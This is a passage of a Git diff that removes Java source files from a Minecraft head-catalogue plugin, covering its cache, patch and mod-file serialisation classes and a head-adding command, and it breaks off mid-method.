public CacheHead copyWithCategory(String category) {
|
||||
return new CacheHead(id, name, category, texture, tags, cost);
|
||||
}
|
||||
|
||||
public int getId() {
|
||||
return id;
|
||||
}
|
||||
|
||||
public String getName() {
|
||||
return name;
|
||||
}
|
||||
|
||||
public String getCategory() {
|
||||
return category;
|
||||
}
|
||||
|
||||
public String getPermission() {
|
||||
return EpicHeads.getInstance().getCategoryPermission(category);
|
||||
}
|
||||
|
||||
public String getTexture() {
|
||||
return texture;
|
||||
}
|
||||
|
||||
public String getTextureURL() {
|
||||
if (textureURL == null) {
|
||||
textureURL = extractTextureURL(texture);
|
||||
}
|
||||
|
||||
return textureURL;
|
||||
}
|
||||
|
||||
public List<String> getTags() {
|
||||
return tags;
|
||||
}
|
||||
|
||||
public boolean hasCost() {
|
||||
return cost >= 0;
|
||||
}
|
||||
|
||||
public double getCost() {
|
||||
return (hasCost() ? cost : EpicHeads.getInstance().getMainConfig().getCategoryCost(category));
|
||||
}
|
||||
|
||||
public double getRawCost() {
|
||||
return cost;
|
||||
}
|
||||
|
||||
public UUID getUniqueId() {
|
||||
if (uniqueId == null) {
|
||||
uniqueId = UUID.nameUUIDFromBytes(getTextureURL().getBytes(StandardCharsets.UTF_8));
|
||||
}
|
||||
|
||||
return uniqueId;
|
||||
}
|
||||
|
||||
public Placeholder[] getPlaceholders(Player player) {
|
||||
return new Placeholder[] { new Placeholder("%name%", name), new Placeholder("%cost%", getCost()), new Placeholder("%category%", category), new Placeholder("%id%", Integer.toString(id)) };
|
||||
}
|
||||
|
||||
public ItemStack getItemStack() {
|
||||
return ItemNBT.createHead(this);
|
||||
}
|
||||
|
||||
public ItemStack getItemStack(String name) {
|
||||
return ItemNBT.createHead(this);
|
||||
}
|
||||
|
||||
public ItemStack addTexture(ItemStack itemStack) {
|
||||
return ItemNBT.applyHead(this, itemStack);
|
||||
}
|
||||
|
||||
protected void setId(int id) {
|
||||
this.id = id;
|
||||
}
|
||||
|
||||
public void setName(String name) {
|
||||
Checks.ensureNonNull(name, "name");
|
||||
|
||||
this.name = name;
|
||||
}
|
||||
|
||||
public void setTags(List<String> tags) {
|
||||
Checks.ensureNonNull(tags, "tags");
|
||||
|
||||
this.tags.clear();
|
||||
this.tags.addAll(tags);
|
||||
}
|
||||
|
||||
public void setCost(double cost) {
|
||||
this.cost = cost;
|
||||
}
|
||||
|
||||
public void write(ObjectOutputStream stream) throws IOException {
|
||||
stream.writeInt(id);
|
||||
stream.writeUTF(name);
|
||||
stream.writeUTF(category);
|
||||
stream.writeUTF(texture);
|
||||
IOUtils.writeStringList(stream, tags);
|
||||
stream.writeDouble(cost);
|
||||
}
|
||||
|
||||
public static CacheHead read(ObjectInputStream stream) throws IOException {
|
||||
int id = stream.readInt();
|
||||
String name = stream.readUTF();
|
||||
String category = stream.readUTF();
|
||||
String texture = stream.readUTF();
|
||||
List<String> tags = IOUtils.readStringList(stream);
|
||||
double cost = stream.readDouble();
|
||||
|
||||
return new CacheHead(id, name, category, texture, tags, cost);
|
||||
}
|
||||
|
||||
@Override
|
||||
public int compareTo(@Nonnull CacheHead otherHead) {
|
||||
String otherName = otherHead.getName();
|
||||
|
||||
if (name.length() > 1 && otherName.length() <= 1)
|
||||
return 1;
|
||||
|
||||
if (name.length() <= 1 && otherName.length() > 1)
|
||||
return -1;
|
||||
|
||||
if (name.length() == 1 && otherName.length() == 1) {
|
||||
List<String> otherTags = otherHead.getTags();
|
||||
|
||||
int length = Math.min(tags.size(), otherTags.size());
|
||||
|
||||
for (int index = 0; index < length; ++index) {
|
||||
int compare = tags.get(index).compareTo(otherTags.get(index));
|
||||
|
||||
if (compare != 0)
|
||||
return compare;
|
||||
}
|
||||
|
||||
if (tags.size() > 0 && otherTags.size() == 0)
|
||||
return -1;
|
||||
|
||||
if (tags.size() == 0 && otherTags.size() > 0)
|
||||
return 1;
|
||||
}
|
||||
|
||||
return name.compareTo(otherName);
|
||||
}
|
||||
|
||||
public static String extractTextureURL(String texture) {
|
||||
try {
|
||||
String decoded = new String(Base64.getDecoder().decode(texture));
|
||||
JsonObject json = new JsonParser().parse(decoded).getAsJsonObject();
|
||||
JsonObject textures = json.getAsJsonObject("textures");
|
||||
JsonObject skin = textures.getAsJsonObject("SKIN");
|
||||
return skin.get("url").getAsString();
|
||||
} catch (Exception e) {
|
||||
throw new RuntimeException("Unable to get the texture URL of texture " + texture, e);
|
||||
}
|
||||
}
|
||||
|
||||
public static String hello = "%%__USER__%%";
|
||||
|
||||
}
|
191
main/java/com/songoda/epicheads/cache/HeadPatch.java
vendored
191
main/java/com/songoda/epicheads/cache/HeadPatch.java
vendored
@ -1,191 +0,0 @@
|
||||
package com.songoda.epicheads.cache;
|
||||
|
||||
import com.songoda.epicheads.util.Checks;
|
||||
import com.songoda.epicheads.util.IOUtils;
|
||||
|
||||
import java.io.IOException;
|
||||
import java.io.ObjectInputStream;
|
||||
import java.io.ObjectOutputStream;
|
||||
import java.util.HashSet;
|
||||
import java.util.List;
|
||||
import java.util.UUID;
|
||||
|
||||
public final class HeadPatch {
|
||||
|
||||
private final UUID uniqueId;
|
||||
|
||||
private boolean category = false;
|
||||
private String fromCategory = null;
|
||||
private String toCategory = null;
|
||||
|
||||
private boolean tags = false;
|
||||
private List<String> fromTags = null;
|
||||
private List<String> toTags = null;
|
||||
|
||||
private boolean cost = false;
|
||||
private double fromCost = -1;
|
||||
private double toCost = -1;
|
||||
|
||||
public HeadPatch(CacheHead head) {
|
||||
this(head.getUniqueId());
|
||||
}
|
||||
|
||||
public HeadPatch(UUID uniqueId) {
|
||||
this.uniqueId = uniqueId;
|
||||
}
|
||||
|
||||
public boolean isEmpty() {
|
||||
return !category && !tags && !cost;
|
||||
}
|
||||
|
||||
public HeadPatch withCategory(String from, String to) {
|
||||
Checks.ensureNonNull(from, "from");
|
||||
Checks.ensureNonNull(to, "to");
|
||||
|
||||
if(from.equals(to)) {
|
||||
this.category = false;
|
||||
return this;
|
||||
}
|
||||
|
||||
this.category = true;
|
||||
this.fromCategory = from;
|
||||
this.toCategory = to;
|
||||
|
||||
return this;
|
||||
}
|
||||
|
||||
public HeadPatch withTags(List<String> from, List<String> to) {
|
||||
Checks.ensureNonNull(from, "from");
|
||||
Checks.ensureNonNull(to, "to");
|
||||
|
||||
if(new HashSet<>(from).equals(new HashSet<>(to))) {
|
||||
this.tags = false;
|
||||
return this;
|
||||
}
|
||||
|
||||
this.tags = true;
|
||||
this.fromTags = from;
|
||||
this.toTags = to;
|
||||
|
||||
return this;
|
||||
}
|
||||
|
||||
public HeadPatch withCost(double from, double to) {
|
||||
if(from == to) {
|
||||
this.cost = false;
|
||||
return this;
|
||||
}
|
||||
|
||||
this.cost = true;
|
||||
this.fromCost = from;
|
||||
this.toCost = to;
|
||||
|
||||
return this;
|
||||
}
|
||||
|
||||
public void applyPatch(CacheFile cache) {
|
||||
for(CacheHead head : cache.findHeads(uniqueId)) {
|
||||
applyPatch(cache, head);
|
||||
}
|
||||
}
|
||||
|
||||
public void applyPatch(CacheFile cache, CacheHead head) {
|
||||
if(category && head.getCategory().equalsIgnoreCase(fromCategory)) {
|
||||
cache.removeHead(head);
|
||||
|
||||
head = head.copyWithCategory(toCategory);
|
||||
|
||||
cache.addHead(head);
|
||||
}
|
||||
|
||||
if(tags && head.getTags().equals(fromTags)) {
|
||||
head.setTags(toTags);
|
||||
}
|
||||
|
||||
if(cost && head.getRawCost() == fromCost) {
|
||||
head.setCost(toCost);
|
||||
}
|
||||
}
|
||||
|
||||
public static HeadPatch createPatch(CacheHead original, CacheHead updated) {
|
||||
HeadPatch patch = new HeadPatch(original);
|
||||
|
||||
patch.withCost(original.getRawCost(), updated.getRawCost());
|
||||
patch.withCategory(original.getCategory(), updated.getCategory());
|
||||
patch.withTags(original.getTags(), updated.getTags());
|
||||
|
||||
return (!patch.isEmpty() ? patch : null);
|
||||
}
|
||||
|
||||
public void write(ObjectOutputStream stream) throws IOException {
|
||||
IOUtils.writeUUID(stream, uniqueId);
|
||||
|
||||
stream.writeBoolean(category);
|
||||
if(category) {
|
||||
stream.writeUTF(fromCategory);
|
||||
stream.writeUTF(toCategory);
|
||||
}
|
||||
|
||||
stream.writeBoolean(tags);
|
||||
if(tags) {
|
||||
IOUtils.writeStringList(stream, fromTags);
|
||||
IOUtils.writeStringList(stream, toTags);
|
||||
}
|
||||
|
||||
stream.writeBoolean(cost);
|
||||
if(cost) {
|
||||
stream.writeDouble(fromCost);
|
||||
stream.writeDouble(toCost);
|
||||
}
|
||||
}
|
||||
|
||||
public static HeadPatch read(int version, ObjectInputStream stream) throws IOException {
|
||||
switch(version) {
|
||||
case 1:
|
||||
return readVersion1(stream);
|
||||
case 2:
|
||||
return readVersion2(stream);
|
||||
default:
|
||||
throw new UnsupportedOperationException("Unknown patch file version " + version);
|
||||
}
|
||||
}
|
||||
|
||||
public static HeadPatch readVersion2(ObjectInputStream stream) throws IOException {
|
||||
HeadPatch patch = readVersion1(stream);
|
||||
|
||||
boolean cost = stream.readBoolean();
|
||||
if(cost) {
|
||||
double from = stream.readDouble();
|
||||
double to = stream.readDouble();
|
||||
|
||||
patch.withCost(from, to);
|
||||
}
|
||||
|
||||
return patch;
|
||||
}
|
||||
|
||||
public static HeadPatch readVersion1(ObjectInputStream stream) throws IOException {
|
||||
UUID uniqueId = IOUtils.readUUID(stream);
|
||||
|
||||
HeadPatch patch = new HeadPatch(uniqueId);
|
||||
|
||||
boolean category = stream.readBoolean();
|
||||
if(category) {
|
||||
String from = stream.readUTF();
|
||||
String to = stream.readUTF();
|
||||
|
||||
patch.withCategory(from, to);
|
||||
}
|
||||
|
||||
boolean tags = stream.readBoolean();
|
||||
if(tags) {
|
||||
List<String> from = IOUtils.readStringList(stream);
|
||||
List<String> to = IOUtils.readStringList(stream);
|
||||
|
||||
patch.withTags(from, to);
|
||||
}
|
||||
|
||||
return patch;
|
||||
}
|
||||
|
||||
}
|
56
main/java/com/songoda/epicheads/cache/Mod.java
vendored
56
main/java/com/songoda/epicheads/cache/Mod.java
vendored
@ -1,56 +0,0 @@
|
||||
package com.songoda.epicheads.cache;
|
||||
|
||||
import java.io.IOException;
|
||||
import java.io.ObjectInputStream;
|
||||
import java.io.ObjectOutputStream;
|
||||
|
||||
public interface Mod {
|
||||
|
||||
public enum ModType {
|
||||
|
||||
ADDON(0) {
|
||||
@Override
|
||||
public Mod read(ObjectInputStream stream) throws IOException {
|
||||
return CacheFile.read(stream);
|
||||
}
|
||||
},
|
||||
|
||||
PATCH(1) {
|
||||
@Override
|
||||
public Mod read(ObjectInputStream stream) throws IOException {
|
||||
return PatchFile.read(stream);
|
||||
}
|
||||
};
|
||||
|
||||
private final int id;
|
||||
|
||||
private ModType(int id) {
|
||||
this.id = id;
|
||||
}
|
||||
|
||||
public int getId() {
|
||||
return id;
|
||||
}
|
||||
|
||||
public abstract Mod read(ObjectInputStream stream) throws IOException;
|
||||
|
||||
public static ModType getById(int id) {
|
||||
for(ModType type : ModType.values()) {
|
||||
if(type.getId() == id)
|
||||
return type;
|
||||
}
|
||||
|
||||
return null;
|
||||
}
|
||||
|
||||
}
|
||||
|
||||
public String getName();
|
||||
|
||||
public ModType getType();
|
||||
|
||||
public void write(ObjectOutputStream stream) throws IOException;
|
||||
|
||||
public void applyMod(CacheFile cache);
|
||||
|
||||
}
|
135
main/java/com/songoda/epicheads/cache/ModsFile.java
vendored
135
main/java/com/songoda/epicheads/cache/ModsFile.java
vendored
@ -1,135 +0,0 @@
|
||||
package com.songoda.epicheads.cache;
|
||||
|
||||
import com.songoda.epicheads.EpicHeads;
|
||||
|
||||
import java.io.*;
|
||||
import java.util.ArrayList;
|
||||
import java.util.Collections;
|
||||
import java.util.List;
|
||||
import java.util.Set;
|
||||
import java.util.stream.Collectors;
|
||||
import java.util.zip.GZIPInputStream;
|
||||
import java.util.zip.GZIPOutputStream;
|
||||
|
||||
public final class ModsFile {
|
||||
|
||||
private final List<Mod> mods = new ArrayList<>();
|
||||
|
||||
public ModsFile() {
|
||||
this(Collections.emptyList());
|
||||
}
|
||||
|
||||
public ModsFile(List<Mod> mods) {
|
||||
mods.forEach(this::addMod);
|
||||
}
|
||||
|
||||
public Set<String> getModNames() {
|
||||
return mods.stream().map(Mod::getName).collect(Collectors.toSet());
|
||||
}
|
||||
|
||||
public void addMod(Mod newMod) {
|
||||
for (Mod mod : mods) {
|
||||
if (mod.getName().equalsIgnoreCase(newMod.getName()))
|
||||
throw new IllegalArgumentException("There is already a mod with the name " + mod.getName());
|
||||
}
|
||||
|
||||
mods.add(newMod);
|
||||
}
|
||||
|
||||
public int installMods(CacheFile cache) {
|
||||
int headsBefore = cache.getHeadCount();
|
||||
|
||||
mods.forEach(cache::installMod);
|
||||
|
||||
return cache.getHeadCount() - headsBefore;
|
||||
}
|
||||
|
||||
public void write(File file) throws IOException {
|
||||
if (file.isDirectory())
|
||||
throw new IOException("File " + file + " is a directory");
|
||||
|
||||
if (!file.exists() && !file.createNewFile())
|
||||
throw new IOException("Unable to create file " + file);
|
||||
|
||||
try (FileOutputStream stream = new FileOutputStream(file)) {
|
||||
writeCompressed(stream);
|
||||
}
|
||||
}
|
||||
|
||||
public void writeCompressed(OutputStream os) throws IOException {
|
||||
try (GZIPOutputStream zos = new GZIPOutputStream(os); ObjectOutputStream stream = new ObjectOutputStream(zos)) {
|
||||
|
||||
write(stream);
|
||||
|
||||
stream.flush();
|
||||
}
|
||||
}
|
||||
|
||||
public void write(ObjectOutputStream stream) throws IOException {
|
||||
ModsFileHeader header = new ModsFileHeader(getModNames());
|
||||
|
||||
header.write(stream);
|
||||
|
||||
stream.writeInt(mods.size());
|
||||
for (Mod mod : mods) {
|
||||
stream.writeInt(mod.getType().getId());
|
||||
|
||||
mod.write(stream);
|
||||
}
|
||||
}
|
||||
|
||||
public static ModsFile readResource(String resource) throws IOException {
|
||||
try (InputStream stream = EpicHeads.getInstance().getResource(resource)) {
|
||||
return readCompressed(stream);
|
||||
}
|
||||
}
|
||||
|
||||
public static ModsFile readCompressed(InputStream is) throws IOException {
|
||||
try (GZIPInputStream zis = new GZIPInputStream(is); ObjectInputStream stream = new ObjectInputStream(zis)) {
|
||||
|
||||
return read(stream);
|
||||
}
|
||||
}
|
||||
|
||||
public static ModsFile read(ObjectInputStream stream) throws IOException {
|
||||
ModsFileHeader header = ModsFileHeader.read(stream);
|
||||
|
||||
switch (header.getVersion()) {
|
||||
case 2:
|
||||
return readVersion2(stream);
|
||||
case 1:
|
||||
return readVersion1(stream);
|
||||
default:
|
||||
throw new UnsupportedOperationException("Unknown mods file version " + header.getVersion());
|
||||
}
|
||||
}
|
||||
|
||||
private static ModsFile readVersion2(ObjectInputStream stream) throws IOException {
|
||||
int modCount = stream.readInt();
|
||||
|
||||
List<Mod> mods = new ArrayList<>(modCount);
|
||||
for (int index = 0; index < modCount; ++index) {
|
||||
int modTypeId = stream.readInt();
|
||||
Mod.ModType modType = Mod.ModType.getById(modTypeId);
|
||||
|
||||
if (modType == null)
|
||||
throw new UnsupportedOperationException("Unknown mod type " + modTypeId);
|
||||
|
||||
mods.add(modType.read(stream));
|
||||
}
|
||||
|
||||
return new ModsFile(mods);
|
||||
}
|
||||
|
||||
private static ModsFile readVersion1(ObjectInputStream stream) throws IOException {
|
||||
int addonCount = stream.readInt();
|
||||
|
||||
List<Mod> addons = new ArrayList<>(addonCount);
|
||||
for (int index = 0; index < addonCount; ++index) {
|
||||
addons.add(CacheFile.read(stream));
|
||||
}
|
||||
|
||||
return new ModsFile(addons);
|
||||
}
|
||||
|
||||
}
|
@ -1,82 +0,0 @@
|
||||
package com.songoda.epicheads.cache;
|
||||
|
||||
import com.songoda.epicheads.EpicHeads;
|
||||
import com.songoda.epicheads.util.IOUtils;
|
||||
|
||||
import java.io.IOException;
|
||||
import java.io.InputStream;
|
||||
import java.io.ObjectInputStream;
|
||||
import java.io.ObjectOutputStream;
|
||||
import java.util.HashSet;
|
||||
import java.util.Set;
|
||||
import java.util.zip.GZIPInputStream;
|
||||
|
||||
public class ModsFileHeader {
|
||||
|
||||
private final int version;
|
||||
private final Set<String> modNames = new HashSet<>();
|
||||
|
||||
public ModsFileHeader(Set<String> modNames) {
|
||||
this(2, modNames);
|
||||
}
|
||||
|
||||
public ModsFileHeader(int version, Set<String> modNames) {
|
||||
this.version = version;
|
||||
this.modNames.addAll(modNames);
|
||||
}
|
||||
|
||||
public int getVersion() {
|
||||
return version;
|
||||
}
|
||||
|
||||
public Set<String> getModNames() {
|
||||
return modNames;
|
||||
}
|
||||
|
||||
public int getUninstalledMods(CacheFile cache) {
|
||||
int newMods = 0;
|
||||
|
||||
for (String mod : modNames) {
|
||||
if (cache.hasMod(mod))
|
||||
continue;
|
||||
|
||||
++newMods;
|
||||
}
|
||||
|
||||
return newMods;
|
||||
}
|
||||
|
||||
public void write(ObjectOutputStream stream) throws IOException {
|
||||
stream.writeInt(2);
|
||||
|
||||
IOUtils.writeStringSet(stream, modNames);
|
||||
}
|
||||
|
||||
public static ModsFileHeader readResource(String resource) throws IOException {
|
||||
try (InputStream stream = EpicHeads.getInstance().getResource(resource)) {
|
||||
return readCompressed(stream);
|
||||
}
|
||||
}
|
||||
|
||||
public static ModsFileHeader readCompressed(InputStream is) throws IOException {
|
||||
try (GZIPInputStream zis = new GZIPInputStream(is); ObjectInputStream stream = new ObjectInputStream(zis)) {
|
||||
|
||||
return read(stream);
|
||||
}
|
||||
}
|
||||
|
||||
public static ModsFileHeader read(ObjectInputStream stream) throws IOException {
|
||||
int version = stream.readInt();
|
||||
|
||||
switch (version) {
|
||||
case 2:
|
||||
case 1:
|
||||
Set<String> modNames = IOUtils.readStringSet(stream);
|
||||
|
||||
return new ModsFileHeader(version, modNames);
|
||||
default:
|
||||
throw new UnsupportedOperationException("Unknown mods file version " + version);
|
||||
}
|
||||
}
|
||||
|
||||
}
|
127
main/java/com/songoda/epicheads/cache/PatchFile.java
vendored
127
main/java/com/songoda/epicheads/cache/PatchFile.java
vendored
@ -1,127 +0,0 @@
|
||||
package com.songoda.epicheads.cache;
|
||||
|
||||
import com.songoda.epicheads.EpicHeads;
|
||||
|
||||
import java.io.*;
|
||||
import java.util.ArrayList;
|
||||
import java.util.Collections;
|
||||
import java.util.List;
|
||||
import java.util.zip.GZIPInputStream;
|
||||
import java.util.zip.GZIPOutputStream;
|
||||
|
||||
public class PatchFile implements Mod {
|
||||
|
||||
private final String name;
|
||||
private final List<HeadPatch> patches = new ArrayList<>();
|
||||
|
||||
public PatchFile(String name) {
|
||||
this(name, Collections.emptyList());
|
||||
}
|
||||
|
||||
public PatchFile(String name, List<HeadPatch> patches) {
|
||||
this.name = name;
|
||||
this.patches.addAll(patches);
|
||||
}
|
||||
|
||||
@Override
|
||||
public String getName() {
|
||||
return name;
|
||||
}
|
||||
|
||||
@Override
|
||||
public Mod.ModType getType() {
|
||||
return ModType.PATCH;
|
||||
}
|
||||
|
||||
public int getPatchCount() {
|
||||
return patches.size();
|
||||
}
|
||||
|
||||
public void addPatch(HeadPatch patch) {
|
||||
patches.add(patch);
|
||||
}
|
||||
|
||||
@Override
|
||||
public void applyMod(CacheFile cache) {
|
||||
for (HeadPatch patch : patches) {
|
||||
patch.applyPatch(cache);
|
||||
}
|
||||
}
|
||||
|
||||
@Override
|
||||
public String toString() {
|
||||
return getType() + " {name: \"" + name + "\", patchCount: " + getPatchCount() + "}";
|
||||
}
|
||||
|
||||
public void write(File file) throws IOException {
|
||||
if (file.isDirectory())
|
||||
throw new IOException("File " + file + " is a directory");
|
||||
|
||||
if (!file.exists() && !file.createNewFile())
|
||||
throw new IOException("Unable to create file " + file);
|
||||
|
||||
try (FileOutputStream stream = new FileOutputStream(file)) {
|
||||
writeCompressed(stream);
|
||||
}
|
||||
}
|
||||
|
||||
public void writeCompressed(OutputStream os) throws IOException {
|
||||
try (GZIPOutputStream zos = new GZIPOutputStream(os); ObjectOutputStream stream = new ObjectOutputStream(zos)) {
|
||||
|
||||
write(stream);
|
||||
|
||||
stream.flush();
|
||||
}
|
||||
}
|
||||
|
||||
@Override
|
||||
public void write(ObjectOutputStream stream) throws IOException {
|
||||
stream.writeInt(2);
|
||||
stream.writeUTF(name);
|
||||
|
||||
stream.writeInt(patches.size());
|
||||
for (HeadPatch patch : patches) {
|
||||
patch.write(stream);
|
||||
}
|
||||
}
|
||||
|
||||
public static PatchFile read(File file) throws IOException {
|
||||
if (file.isDirectory())
|
||||
throw new IOException("File " + file + " is a directory");
|
||||
|
||||
if (!file.exists())
|
||||
throw new IOException("File " + file + " does not exist");
|
||||
|
||||
try (FileInputStream stream = new FileInputStream(file)) {
|
||||
return readCompressed(stream);
|
||||
}
|
||||
}
|
||||
|
||||
public static PatchFile readResource(String resource) throws IOException {
|
||||
try (InputStream stream = EpicHeads.getInstance().getResource(resource)) {
|
||||
return readCompressed(stream);
|
||||
}
|
||||
}
|
||||
|
||||
public static PatchFile readCompressed(InputStream is) throws IOException {
|
||||
try (GZIPInputStream zis = new GZIPInputStream(is); ObjectInputStream stream = new ObjectInputStream(zis)) {
|
||||
|
||||
return read(stream);
|
||||
}
|
||||
}
|
||||
|
||||
public static PatchFile read(ObjectInputStream stream) throws IOException {
|
||||
int version = stream.readInt();
|
||||
|
||||
String name = stream.readUTF();
|
||||
|
||||
int patchCount = stream.readInt();
|
||||
List<HeadPatch> patches = new ArrayList<>(patchCount);
|
||||
for (int index = 0; index < patchCount; ++index) {
|
||||
patches.add(HeadPatch.read(version, stream));
|
||||
}
|
||||
|
||||
return new PatchFile(name, patches);
|
||||
}
|
||||
|
||||
}
|
@ -1,39 +0,0 @@
|
||||
package com.songoda.epicheads.cache.legacy;
|
||||
|
||||
import com.songoda.epicheads.cache.CacheFile;
|
||||
import com.songoda.epicheads.cache.CacheHead;
|
||||
import com.songoda.epicheads.config.DefaultsConfigFile;
|
||||
|
||||
import java.io.File;
|
||||
import java.io.IOException;
|
||||
import java.util.Arrays;
|
||||
import java.util.HashSet;
|
||||
import java.util.List;
|
||||
import java.util.Set;
|
||||
import java.util.stream.Collectors;
|
||||
|
||||
public class CacheFileConverter {
|
||||
|
||||
public static CacheFile convertToCacheFile(String name, LegacyCacheConfig config) {
|
||||
Set<String> addons = new HashSet<>(config.getAddons());
|
||||
addons.add("original");
|
||||
List<CacheHead> heads = config.getHeads().stream().map(CacheFileConverter::convertToCacheHead).collect(Collectors.toList());
|
||||
return new CacheFile(name, addons, heads);
|
||||
}
|
||||
|
||||
public static CacheHead convertToCacheHead(LegacyCachedHead head) {
|
||||
int id = head.getId();
|
||||
String name = head.getName();
|
||||
String texture = head.getTexture();
|
||||
String category = head.getCategory();
|
||||
List<String> tags = Arrays.asList(head.getTags());
|
||||
double cost = head.getCost();
|
||||
return new CacheHead(id, name, category, texture, tags, cost);
|
||||
}
|
||||
|
||||
public static void convertResource(String name, String resource, File file) throws IOException {
|
||||
LegacyCacheConfig addon = new LegacyCacheConfig(new DefaultsConfigFile(resource));
|
||||
convertToCacheFile(name, addon).write(file);
|
||||
}
|
||||
|
||||
}
|
@ -1,64 +0,0 @@
|
||||
package com.songoda.epicheads.cache.legacy;
|
||||
|
||||
import com.songoda.epicheads.config.ConfigFile;
|
||||
import org.bukkit.configuration.ConfigurationSection;
|
||||
|
||||
import java.util.*;
|
||||
|
||||
public class LegacyCacheConfig {
|
||||
|
||||
private final ConfigFile configFile;
|
||||
|
||||
private List<LegacyCachedHead> heads = new ArrayList<>();
|
||||
private Set<String> addons = new HashSet<>();
|
||||
|
||||
public LegacyCacheConfig(ConfigFile configFile) {
|
||||
this.configFile = configFile;
|
||||
reload();
|
||||
}
|
||||
|
||||
public Set<String> getAddons() {
|
||||
return addons;
|
||||
}
|
||||
|
||||
public List<LegacyCachedHead> getHeads() {
|
||||
return Collections.unmodifiableList(heads);
|
||||
}
|
||||
|
||||
public void reload() {
|
||||
this.configFile.copyDefaults();
|
||||
this.configFile.reload();
|
||||
|
||||
ConfigurationSection config = this.configFile.getConfig();
|
||||
|
||||
this.addons = new HashSet<>(config.getStringList("addons"));
|
||||
|
||||
this.heads.clear();
|
||||
|
||||
// Load all the heads from the legacy config file
|
||||
int maxId = 0;
|
||||
for (String key : config.getKeys(false)) {
|
||||
if (!config.isConfigurationSection(key))
|
||||
continue;
|
||||
|
||||
LegacyCachedHead head = new LegacyCachedHead();
|
||||
|
||||
head.load(config.getConfigurationSection(key));
|
||||
|
||||
if (!head.isValid())
|
||||
continue;
|
||||
|
||||
heads.add(head);
|
||||
|
||||
maxId = Math.max(maxId, head.getId());
|
||||
}
|
||||
|
||||
// Give IDs to heads that need them
|
||||
for (LegacyCachedHead head : heads) {
|
||||
if (!head.hasId()) {
|
||||
head.setId(++maxId);
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
}
|
@ -1,68 +0,0 @@
|
||||
package com.songoda.epicheads.cache.legacy;
|
||||
|
||||
import org.bukkit.configuration.ConfigurationSection;
|
||||
|
||||
public class LegacyCachedHead {
|
||||
|
||||
private int id = -1;
|
||||
private String category = "";
|
||||
private String name = "";
|
||||
private String texture = "";
|
||||
private String[] tags = {};
|
||||
private double cost = -1;
|
||||
|
||||
public boolean isValid() {
|
||||
return !this.name.isEmpty();
|
||||
}
|
||||
|
||||
public boolean hasId() {
|
||||
return this.id > 0;
|
||||
}
|
||||
|
||||
public int getId() {
|
||||
return this.id;
|
||||
}
|
||||
|
||||
protected void setId(int id) {
|
||||
this.id = id;
|
||||
}
|
||||
|
||||
public String getCategory() {
|
||||
return this.category;
|
||||
}
|
||||
|
||||
public String getName() {
|
||||
return this.name;
|
||||
}
|
||||
|
||||
public String getTexture() {
|
||||
return this.texture;
|
||||
}
|
||||
|
||||
public String[] getTags() {
|
||||
return this.tags;
|
||||
}
|
||||
|
||||
public double getCost() {
|
||||
return cost;
|
||||
}
|
||||
|
||||
public void setCategory(String category) {
|
||||
this.category = category;
|
||||
}
|
||||
|
||||
public void load(ConfigurationSection section) {
|
||||
this.id = section.getInt("id", -1);
|
||||
this.category = section.getString("category", "none");
|
||||
this.name = section.getString("name", "");
|
||||
this.texture = section.getString("texture", "");
|
||||
this.cost = section.getDouble("cost", -1d);
|
||||
|
||||
if(section.isSet("tags") && section.isString("tags")) {
|
||||
this.tags = new String[] {section.getString("tags")};
|
||||
} else if(section.isSet("tags") && section.isList("tags")) {
|
||||
this.tags = section.getStringList("tags").toArray(new String[0]);
|
||||
}
|
||||
}
|
||||
|
||||
}
|
@ -1,41 +0,0 @@
|
||||
package com.songoda.epicheads.command;
|
||||
|
||||
import com.songoda.epicheads.EpicHeads;
|
||||
import org.bukkit.command.CommandSender;
|
||||
|
||||
public abstract class AbstractCommand {
|
||||
|
||||
public enum ReturnType { SUCCESS, FAILURE, SYNTAX_ERROR, NO_CONSOLE }
|
||||
|
||||
private final AbstractCommand parent;
|
||||
|
||||
private final String command;
|
||||
|
||||
private final boolean noConsole;
|
||||
|
||||
protected AbstractCommand(String command, AbstractCommand parent, boolean noConsole) {
|
||||
this.command = command;
|
||||
this.parent = parent;
|
||||
this.noConsole = noConsole;
|
||||
}
|
||||
|
||||
public AbstractCommand getParent() {
|
||||
return parent;
|
||||
}
|
||||
|
||||
public String getCommand() {
|
||||
return command;
|
||||
}
|
||||
|
||||
public boolean isNoConsole() {
|
||||
return noConsole;
|
||||
}
|
||||
|
||||
protected abstract ReturnType runCommand(EpicHeads instance, CommandSender sender, String... args);
|
||||
|
||||
public abstract String getPermissionNode();
|
||||
|
||||
public abstract String getSyntax();
|
||||
|
||||
public abstract String getDescription();
|
||||
}
|
@ -1,88 +0,0 @@
|
||||
package com.songoda.epicheads.command.commands;
|
||||
|
||||
import com.songoda.epicheads.EpicHeads;
|
||||
import com.songoda.epicheads.cache.CacheHead;
|
||||
import com.songoda.epicheads.command.AbstractCommand;
|
||||
import com.songoda.epicheads.volatilecode.TextureGetter;
|
||||
import org.bukkit.command.CommandSender;
|
||||
|
||||
public class CommandAdd extends AbstractCommand {
|
||||
|
||||
public CommandAdd(AbstractCommand parent) {
|
||||
super("add", parent, false);
|
||||
}
|
||||
|
||||
@Override
|
||||
protected ReturnType runCommand(EpicHeads instance, CommandSender sender, String... args) {
|
||||
//ToDO: Test to make sure this works.
|
||||
if (args.length < 3) {
|
||||
return ReturnType.SYNTAX_ERROR;
|
||||
}
|
||||
|
||||
final String playerName = args[1];
|
||||
final String category = args[2];
|
||||
|
||||
final String name;
|
||||
|
||||
if (args.length > 3) {
|
||||
StringBuilder nameBuilder = new StringBuilder();
|
||||
for (int i = 3; i < args.length; i++) {
|
||||
nameBuilder.append(' ');
|
||||
nameBuilder.append(args[i]);
|
||||
}
|
||||
name = nameBuilder.toString().substring(1);
|
||||
} else {
|
||||
name = playerName;
|
||||
}
|
||||
|
||||
if (category.length() > 32) {
|
||||
String[] parts = instance.getLocale().getMessage("command.add.categorylength", category, category.length()).split("\\|");
|
||||
for (String line : parts)
|
||||
sender.sendMessage(line);
|
||||
return ReturnType.FAILURE;
|
||||
}
|
||||
|
||||
String texture = TextureGetter.getCachedTexture(playerName);
|
||||
|
||||
if (texture != null) {
|
||||
add(instance, sender, category, name, playerName, texture);
|
||||
} else {
|
||||
sender.sendMessage(instance.getLocale().getMessage("command.add.fetching"));
|
||||
TextureGetter.getTexture(playerName, (resolvedTexture) ->
|
||||
add(instance, sender, category, name, playerName, resolvedTexture));
|
||||
}
|
||||
return ReturnType.SUCCESS;
|
||||
}
|
||||
|
||||
public void add(EpicHeads instance, CommandSender sender, String category, String name, String playerName, String texture) {
|
||||
if (texture == null || texture.isEmpty()) {
|
||||
String[] parts = instance.getLocale().getMessage("command.add.cantfind", playerName).split("\\|");
|
||||
